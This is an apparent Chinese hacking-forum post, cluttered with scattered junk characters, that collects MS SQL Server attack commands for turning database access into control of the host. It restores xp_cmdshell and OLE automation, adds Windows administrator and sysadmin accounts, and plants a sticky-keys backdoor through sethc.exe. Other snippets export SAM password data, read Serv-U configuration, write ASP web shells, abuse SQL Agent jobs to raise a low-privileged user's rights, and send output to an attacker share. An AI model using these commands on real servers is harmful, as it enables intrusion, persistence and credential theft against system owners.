找回密码
 立即注册
查看: 2596|回复: 0
打印 上一主题 下一主题

XP_CMDSHELL恢复方法大全

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:37:30 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
: h6 K- P/ e% J恢复方法:查询分离器连接后,: K8 J, r5 Q3 b- ^) _& a1 ?
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int 7 F7 O# _( ]+ y3 Y
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
/ `+ e. N+ L1 F: A' |然后按F5键命令执行完毕$ f, |3 Y, ?) i3 K1 G% H0 E* ^# Q

% a% i( G2 B% |! ^, k3 y2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
, U9 H/ o( u$ G1 ?" m恢复方法:查询分离器连接后,3 t  w' U% ~8 |# u) t
第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell", @3 ~- W$ C- e: D3 L8 i
第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
3 |4 R6 c- v; C' K; M" N  W然后按F5键命令执行完毕
" }! Y: V5 b6 o+ ^) _
; S# T1 H' l) K2 b3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
7 E1 `8 P7 W) b6 L# H恢复方法:查询分离器连接后,  q' j0 S( c; J, ]' m- U
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
2 S% x8 x2 B- @$ w5 `' S0 j1 i第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'       7 O/ @: R: f: N! P, q$ [2 K
然后按F5键命令执行完毕
1 U& ]$ J9 J+ W! I( }& Z% g3 R3 e0 y8 J1 T
4 终极方法.* ?. }/ g7 p2 O9 U8 r5 a
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
/ v3 j2 t1 v/ F* j2 T  K; z& s: d9 I2 L查询分离器连接后,
: N1 W! B+ D, R8 I! C1 a2000servser系统:7 C/ C- X% K6 T& S
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'$ t' k( Z. \. Q1 y6 d5 x  a
" X, o* A+ j2 U7 Y; c: ^' c- Y4 A' _
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'
; M3 C4 p5 H2 h- K
2 N+ R1 e9 X) sxp或2003server系统:
/ a: a$ c. k0 y. ?! F( z! V  S* [2 G' P5 ^7 l: h5 e0 B
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
! E  X! j3 x" j- v: l
/ i$ v$ D1 g9 E% o2 P% q. j, Jdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'2 C  y3 L+ f6 G/ i3 l

, N4 W. E2 g5 w/ ^; ]6 w; C* v5 X9 @& N% P9 j2 v
五个SHIFT
7 m; J5 f4 v3 X' W" c* b5 P7 Q8 O: Tdeclare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
7 c/ U( U" B* U5 R' S% u1 P* X8 v% a: _0 k
declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
; _( z- H7 N7 x) J+ L1 Y: h0 [# _+ k0 ?, x2 f6 D; e
xp_cmdshell执行命令另一种方法1 o0 X" `( R. U4 Y) _$ H! V; ?, j
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add' , G8 z3 h' R' H% @) I" H

& [6 B- x  ~) o- ?3 b! E* R判断存储扩展是否存在
! J( m2 d  A$ o1 Q2 mSelect count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
$ J3 M$ L7 N. N, I9 V返回结果为1就OK
$ S1 f1 {! F5 z3 \5 r9 n; T9 H' _8 d2 G( l+ R

) I  d( H% w7 @& |上传xplog70.dll恢复xp_cmdshell语句:+ h$ \( @! n/ c# l5 t0 V
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'* x3 k+ \1 j3 u' C! z9 Y
7 T! g( f7 X3 g$ [0 l
否则上传xplog7.0.dll
1 s+ z( ]4 o6 P! G  r) MExec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
* l2 L7 d! D: c+ p& |' h( V* @" x6 `. e
4 ]) U" T0 O& z3 ~

+ n1 T8 R$ [5 X" x首先开启沙盘模式:
3 Y8 `& q$ P5 ^( O! Z6 ~exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1, x- E5 K2 S. z( P* M
' D- V; A& l* \* G8 @3 H2 T
然后利用jet.oledb执行系统命令& e8 A- R9 Q6 ^% w$ `7 T/ m
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')' G0 z! |) j+ p. Q" K7 G* f
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了0 |  F1 }2 d3 ^2 K

% p3 g5 ?  U9 M, o- v: Z8 M- I
- R3 D9 o2 v& ^* B$ F' m
" X) w/ H( V5 g2 q: J恢复过程sp_addextendedproc 如下: " b9 P* w" U7 ^: |: o0 c2 R
create procedure sp_addextendedproc --- 1996/08/30 20:13 + G+ D! I1 {2 M; d
@functname nvarchar(517),/* (owner.)name of function to call */ ( Y' ?% k5 i( @3 U0 m
@dllname varchar(255)/* name of DLL containing function */
- c! h& y. Q( z+ D3 ]( xas ( W7 l' I: `" q0 k
set implicit_transactions off 3 C* r$ O6 ^" v
if @@trancount > 0
0 k$ L  o3 L1 L* y' Kbegin , T) S: v3 p$ D
raiserror(15002,-1,-1,'sp_addextendedproc') 7 x# j7 H$ w8 A; C
return (1) , v4 m3 M2 ]. J1 F: L( U
end
! g1 U( v% S# @8 Y! _dbcc addextendedproc( @functname, @dllname) ! ]* g- t7 f9 G3 x! \, k0 b
return (0) -- sp_addextendedproc 3 ?- Y9 x0 z! D& t
GO
2 i5 s& l, a4 z* C, C
) b  @# G7 y7 H7 C2 r
6 Q5 p2 J4 ]. F  q  \/ [, ?
) t' u/ |4 S0 l+ n$ D' _$ C导出管理员密码文件- J0 }! t+ g2 o8 W4 a
sa默认可以读sam键.应该。
4 {+ ]7 u5 C: `" j( o+ Oreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg' Z$ Y* w1 D" U, C, t- L
net user administrator test9 n: o8 B9 t( u) w- R  \
用administrator登陆.
- z5 y, m2 B1 G用完机器后
+ p3 c; w( M: h, {2 V0 w  Wreg import c:\test.reg
2 U+ M2 e" |- M7 q( }  X; S根本不用克隆.
+ W. N. ?9 S& N找到对应的sid.
+ r8 a% S- h1 c+ f3 d/ v8 p% n6 E. {' E7 M

1 w$ O4 ^$ k1 j: ]7 _6 O0 s) @; f& }( f5 T
恢复所有存储过程1 g; N( b3 k0 |' p
use master
2 r( ]2 I/ {, s2 L; S* wexec sp_addextendedproc xp_enumgroups,'xplog70.dll'
) T$ W% W& x0 u2 I4 ^; ^- R) }' Aexec sp_addextendedproc xp_fixeddrives,'xpstar.dll' + \! [+ |' _9 ]5 v8 g
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
% ~5 o7 P& T: Y3 W# Hexec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
1 S9 k/ G- H9 ^1 v- K) texec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
0 x. w: |# W) z# K) l/ Y# xexec sp_addextendedproc sp_OACreate,'odsole70.dll'
) y5 h% W1 `! Hexec sp_addextendedproc sp_OADestroy,'odsole70.dll'
5 \+ O% C5 M' {1 j1 _exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' 0 t9 R- |( i' k
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
% \( A* Q3 [# Vexec sp_addextendedproc sp_OAMethod,'odsole70.dll'
, Q; ~9 }0 u/ J( Z- p6 \exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
' P+ V0 t8 p2 q& j& e8 @exec sp_addextendedproc sp_OAStop,'odsole70.dll'
4 b8 X. M3 T. m" Zexec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
3 ~, X7 B* t  t6 D# W9 _exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
+ c! J7 h8 Q9 o) F+ U7 V& U8 G: ~exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
( N- ]4 X9 g5 Fexec sp_addextendedproc xp_regenumvalues,'xpstar.dll' 3 N' ]9 E0 N% J7 ]2 s
exec sp_addextendedproc xp_regread,'xpstar.dll' # c2 @; M  B4 |5 V7 V
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' . y0 g& n& ~% J0 F0 }  _1 v
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
7 `. P$ t3 q* k" B: F+ Wexec sp_addextendedproc xp_availablemedia,'xpstar.dll'/ R$ X9 h9 d% h0 m9 L

3 a/ Z4 ?) x: i4 U0 y/ A& U( `  I* s" H# K' U; N
建立读文件的存储过程, h: @! a" g$ f5 R! e
Create proc sp_readTextFile @filename sysname
7 j; p# \' c) H8 |! j& o3 eas3 _- z6 o6 H2 j$ _
- l' B. X' v) m+ P( j
    begin
' k: S6 c/ D2 q9 z  p6 A1 k    set nocount on
5 x6 u; ]5 @% _' I/ G* t    Create table #tempfile (line varchar(8000))/ ^! Q0 w3 D9 d$ M: A) a: Z# t
    exec ('bulk insert #tempfile from "' + @filename + '"')! l7 ^; _' s( Q  j9 V- U# b8 F
    select * from #tempfile
8 x$ l, u- X6 w; o& M    drop table #tempfile: G& P" N2 z7 m7 p
End
. G" p5 l+ v$ O6 c" x) E5 h0 x4 W- z) s2 b$ H6 x1 [+ j
exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件, t4 l# V% C' Z; v$ |4 [
查看登录用户  X0 _% j& ?* _* V; \$ o$ k
Select * from sysxlogins
: R1 R$ S: T* Z, L& {# F
* x5 X) `: k2 \' b  a9 K* b把文件内容读取到表中( M2 \" ^$ ^$ m* \' |: d
BULK INSERT tmp from "c:\test.txt"
9 Y5 q1 X' I3 V; AdElete from 表名 清理表里的内容$ c8 L2 U- |, M0 h: s0 d' h, }
create table b_test(fn nvarchar(4000));建一个表,字段为fn
9 V: M. [5 B8 w9 {& U5 G! @9 b# e) }  H; S) T1 V
- l, g4 H/ k  ?5 }
加sa用户. ~; g( l0 X/ x1 d) C
exec master.dbo.sp_addlogin user,pass;3 {! r0 W& i: G- T$ a
exec master.dbo.sp_addsrvrolemember user,sysadmin. _9 h- q* Y' }% y3 V% A2 u2 ^1 @8 d
" L1 K3 E) [! k: r+ x' W2 B! u

6 N; n# w2 \4 {! X; K4 t1 Z5 F$ A2 D- l
读文件代码
0 Y" R$ v3 a8 E- }/ Pdeclare @o int, @f int, @t int, @ret int
; `: E/ ?7 z: U  _declare @line varchar(8000)5 X9 {/ n7 H* W5 z* n$ c- @
exec sp_oacreate 'scripting.filesystemobject', @o out7 d' @" r! v/ }7 o+ e+ j; o' f
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1. [$ P5 Y: R/ l1 u
exec @ret = sp_oamethod @f, 'readline', @line out
! r3 \/ t  _- Hwhile( @ret = 0 )
( ?  I2 m. B7 l+ ^; K8 `begin
' S& Y8 x0 E) K- r$ ^) vprint @line4 u4 z* y  x2 a; A- k
exec @ret = sp_oamethod @f, 'readline', @line out& L9 ]1 H* G& H
end% m5 U, l8 q1 x: e$ D$ x5 J
- D$ [2 q2 u5 F# u; T

3 L9 D0 ^5 t0 p6 u" P- i9 C写文件代码:
5 u6 E" N( Q* }declare @o int, @f int, @t int, @ret int. t) X6 V& w& p+ L* d* w% M8 P
exec sp_oacreate 'scripting.filesystemobject', @o out0 _& `- N5 e9 W4 \& I
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 14 g- ]9 Y0 C4 x# V
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》0 r( R* l) Y- u0 @. B" @
) d. Q! X  A9 M* {9 M

- O% ]" x1 _  t1 ^# m( ~+ p! L添加lake2 shell
5 ?5 b% x; A$ v( i/ B4 csp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'
7 z7 v& S  X; S, U5 qsp_dropextendedproc xp_lake2& T5 l0 S. Q8 Z
EXEC xp_lake2 'net user'
! V# J' A) B, H: I3 y; o0 M
4 v5 r1 |3 R# j. D
( b3 `6 C) ?$ y8 _8 j& D得到硬盘文件信息
, [! b; `. K1 a2 W! w6 e--参数说明:目录名,目录深度,是否显示文件 # Q% M6 J( w2 g, ]  C
execute master..xp_dirtree 'c:' % r5 C1 c& f) c# L
execute master..xp_dirtree 'c:',1
7 s8 {" o: k  P* X  \  Eexecute master..xp_dirtree 'c:',1,1 6 w& P& V8 ]3 v( }& d
- I- I$ z2 }8 V) h  F4 t7 {5 ]

5 t5 h$ q- a8 ~读serv-u配置信息
3 i% [& M# b3 Gexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'
- Z7 m7 g% B% zexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
7 T' w* `2 x7 e1 M# Z/ ?9 g) V' f5 e# J" o
通过xp_regwrite写SHIFT后门2 E0 W3 o/ ~9 M5 h7 _; k
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
+ t) G; X& A  G9 I8 G- ?6 T2 _

9 t) O/ M" }0 S; U) V3 L0 h+ h" A* y8 i" t9 Z$ d* G
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';1 {  ^3 Y  h5 W2 `
exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了& Z* V  X% ?. M! v1 U: R

8 |& ?6 \2 k7 ?" K0 {" C2 C! n7 aEXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'' H! y7 L6 I* Q; P) \  X2 `; o0 v% X

3 `7 U8 O) ~0 a
( F5 ]- h6 C0 Q$ W8 y% f- a! z$ Z; r6 ^& d) ?; n- o# H1 N& _
sql server 2005下开启xp_cmdshell的办法) j2 l; e4 ?1 V6 f" h
1 _7 @  d" {6 i3 r8 F6 [: m" @. j
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;: I3 j2 z( n9 ^6 e! D, [

! u+ A& Z, H: ?2 a9 RSQL2005开启'OPENROWSET'支持的方法:
1 c% [) r. @( j, F3 F" |
" ~( m! a, d- V3 a& W9 ?6 w$ W+ Q- O. Lexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
, h2 Y+ V! Z; f/ ^4 o, A+ O+ V( i% x: t, ?6 q' |
SQL2005开启'sp_oacreate'支持的方法:& B  q/ F+ x. d
9 L8 a" Y; I- E; S) z( d* A
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
7 A7 ~8 B. n; ?; h- ~
. |) y  g4 k! a* _0 w2 p5 ]$ J! A( ?! \2 g  n1 [5 K

6 }' M6 ~" P9 \) v" L: \& v$ ~

# U9 }7 W& N/ [6 o# U- \! `! X; S7 `( d% \. C( p

5 Q: P: R/ Z* T, r6 A' R4 M9 X" R" w( N4 ~9 E( I3 u% k

0 ?% [6 e$ L" s' X& h8 ^9 g9 U! }9 M! |
/ v: N/ E: B% j# z' g$ f# k/ m( K

( [% U' D! B5 D- j0 c" [# _8 q+ v! f- U; r2 ^, @/ v: `/ o, @

1 O! ]- u1 ~1 \( M! d& c+ q4 j! u. W) ?

7 s/ u1 f$ l! x- a% q
: R5 n$ c2 p% t4 b3 ?: h8 |/ D# J5 A1 b6 m  K1 ~

! R# s( D- J/ Q$ K
5 ]1 n; Z) ~) i( g* ^  {
' a( m) @; o: G5 h" T1 z
+ ]& ]7 T( J. U! f% q5 N6 a$ L3 p- m2 Y! I. g% R# l& P
9 P, S6 H. d$ k9 Q4 Z7 ^
以下方面不知道能不能成功暂且留下研究哈:- p: b  F; k: {' O, U8 q* R
4)
, E/ M- s' @7 n; w% {* ?+ V7 ~use msdb; --这儿不要是master哟+ O1 b% l1 B/ @1 ~4 D' S
exec sp_add_job @job_name= czy82 ;: ^$ H1 g. I. f% U! V
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;" V0 E+ ~  J5 _" D- o
exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
- h7 \( O2 ^! e* gexec sp_start_job @job_name= czy82 ;' Z: x# z. S7 o9 M$ |" s" Z% G
) t9 f5 `6 u8 x( [
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以
. }+ t4 X6 P. {2 t. r执行tsql语句了.8 P5 }3 h( n. ]6 W
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名' x  K7 o) V- b5 r6 p; g8 T- z+ ~
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
  O: m+ e0 }/ Q4 l, P! p- d/ \& t- Inet start SQLSERVERAGENT; p$ x8 }; ]5 c4 P" C3 y
+ z7 H( g# r% c  j
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
0 ?# E1 w4 K7 RUSE msdb
0 e: ?% I1 L( f8 |4 P+ JEXEC sp_add_job @job_name = GetSystemOnSQL ,2 k* h* w; Z& e" r+ S) o  S
@enabled = 1,+ `0 [% v/ j$ S- T
@description = This will give a low privileged user access to
# z! @; U  ?( M. d: J8 c" g; B- Hxp_cmdshell ,
/ w# M7 s+ l; ^@delete_level = 1
9 w' v, l$ K5 G8 z( T6 H4 ~1 [EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
. ^  ~$ c& l! M8 w@step_name = Exec my sql ,, E& o# x( E- P, Y
@subsystem = TSQL ,
# B& Q# u% l, x9 B. G@command = exec master..xp_execresultset N select exec7 A% ]7 Q1 ?" f: s
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master
" d2 G* r, v1 m5 h5 u. l% }% KEXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
9 ]% ^' b1 S+ r) Y( w# _  h@server_name = 你的SQL的服务器名
& S! U- m: k& A2 [% |9 W' {EXEC sp_start_job @job_name = GetSystemOnSQL 2 v/ o  x" h) }7 |; m5 B
! \+ Y0 d8 _: y% C, v& a
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以4 o$ Q! n/ S/ }! c6 Z8 r
才让我们可以以public执行xp_cmdshell  M/ l6 t  U/ c$ U" ^, n( [7 Q( W

- T: S! `- t1 L( b; h, Z, X5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)4 x' R  {+ ~) C/ d7 M$ h6 |
在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968* X$ p: t: i+ p9 ?8 G

/ k) |+ s% ]9 p2 p' f" q; sUSE msdb
& P+ D3 ^6 q5 NEXEC sp_add_job @job_name = ArbitraryFilecreate ,
$ L9 ^1 F2 z" f' U0 v$ s@enabled = 1,( _0 h; t  X% y: K7 x5 ^! t
@description = This will create a file called c:\sqlafc123.txt ,
" q5 \0 \. |: ?6 |' |! F/ {! k& r@delete_level = 1% m0 q. \0 z& S8 H2 ]
EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,: ~# U3 ~$ J. a2 r
@step_name = SQLAFC ,
) }% o! |! u' h/ K" }3 u8 H@subsystem = TSQL ,' u. r- `9 X$ U: |5 j4 q& E- |
@command = select hello, this file was created by the SQL Agent. ,
/ j; W) c" U3 z. Q( g- S' D9 Q0 k@output_file_name = c:\sqlafc123.txt 7 q3 V8 d- q* J, l% C) ~6 U% i
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,# \6 y$ j" F/ F* ~
@server_name = SERVER_NAME $ v0 u3 I: l& c
EXEC sp_start_job @job_name = ArbitraryFilecreate
8 u; d# A) @# W/ Z
. K2 h& A) O: b) R如果subsystem选的是:tsql,在生成的文件的头部有如下内容
7 p; b% M$ C* H: h  ?
/ m+ z' p- K8 G& D9 T% c2 @??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19; w; k  M8 K- \5 H1 u
----------------------------------------------
. a: y7 a( h7 H% O" ~! Q3 ^hello, this file was created by the SQL Agent.; S! Q: @1 h& y$ X1 Y" Z; D4 j

0 ?3 f. `8 B4 g5 h, r* Q: u1 Z(1 ?????)
, w  `# h* h) ^9 z* o" z
0 n2 x3 c. Q3 @所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员) g0 F% L7 Z$ q8 Z, N% y0 P
命令的vbs文件到启动目录!
* I9 D2 d! b9 J2 L, s( A7 c2 g: d6 n2 C- K. g. ~
6)关于sp_makewebtask(可以写任意内容任意文件名的文件)0 _+ n4 h+ ]0 a, j
关于sp_MScopyscriptfile 看下面的例子
2 C8 I, _# ]: P0 Ideclare @command varchar(100)
  T4 \, Z, P, N) i$ Gdeclare @scripfile varchar(200)
: H1 m- w; B: o4 }. oset concat_null_yields_null off   D; \3 o1 F% H, ~# w$ P
select @command= dir c:\ > "\\attackerip\share\dir.txt"
4 w# Q3 s  `1 dselect @scripfile= c:\autoexec.bat > nul" | @command | rd " ( \$ P9 i. D, v+ C( @+ k
exec sp_MScopyscriptfile @scripfile ,
: V/ [. i1 W) O; G, |6 v( ]6 c" g2 p" S/ z
这两个东东都还在测试试哟+ s; Q( k; p# L( J/ o4 u7 ?
让MSSQL的public用户得到一个本机的web shell7 ]% b, @, b3 o: M0 |# S* h2 ?1 e

& |- \+ ?) J5 e* Ksp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,
! q5 b/ U: _% s--@query= select <img src=vbscript:msgbox(now())>
4 e$ u1 Y% h) H+ u9 D& E--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
1 d8 m1 q& Y2 {  ]1 N& H8 H; {3 J@query= select
0 `+ M( z/ X9 c8 I<%On Error Resume Next
/ ]. z; C, s" F1 q$ o' A) `4 [/ WSet oscript = Server.createObject("wscript.SHELL") 0 A. V: J. R2 }
Set oscriptNet = Server.createObject("wscript.NETWORK")
/ A) k) R7 V8 g: c; q+ x( ^Set oFileSys = Server.createObject("scripting.FileSystemObject")
0 o/ b; G0 `! Z( m, `szCMD = Request.Form(".CMD") + p9 }7 m  N" E4 u6 E
If (szCMD <>"")Then
; b" i  q# p% T2 F# q, mszTempFile = "C:\" & oFileSys.GetTempName() ; d7 {/ e" E9 T, b' d
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
" `1 t. C* F- P" I" [Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0) 8 ?8 u3 n$ @( t& H  d" _3 r  v
End If %> ( {9 E; p  c. H& Y
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST"> : U' x5 c, F5 c
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
" ?5 Z9 _3 r/ d* @</FORM><RE>
( p& q' y9 ?5 R' d1 R$ N% \$ t<% If (IsObject(oFile))Then $ g% I! c$ {" P" L3 V7 k& K
On Error Resume Next
. I5 u' K9 F( I0 PResponse.Write Server.HTMLEncode(oFile.ReadAll) ! a: h+ w5 Y; U# Q; a
oFile.Close / r+ v+ ]* v8 R6 w
Call oFileSys.deleteFile(szTempFile, True) ; q) U" y" y7 r4 E# J( J; Q, \* _* q
End If%> 5 U* I4 i/ y( d& X2 v. C$ e4 b
</BODY></HTML>
: c. M: l2 [4 h6 y9 \. s
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表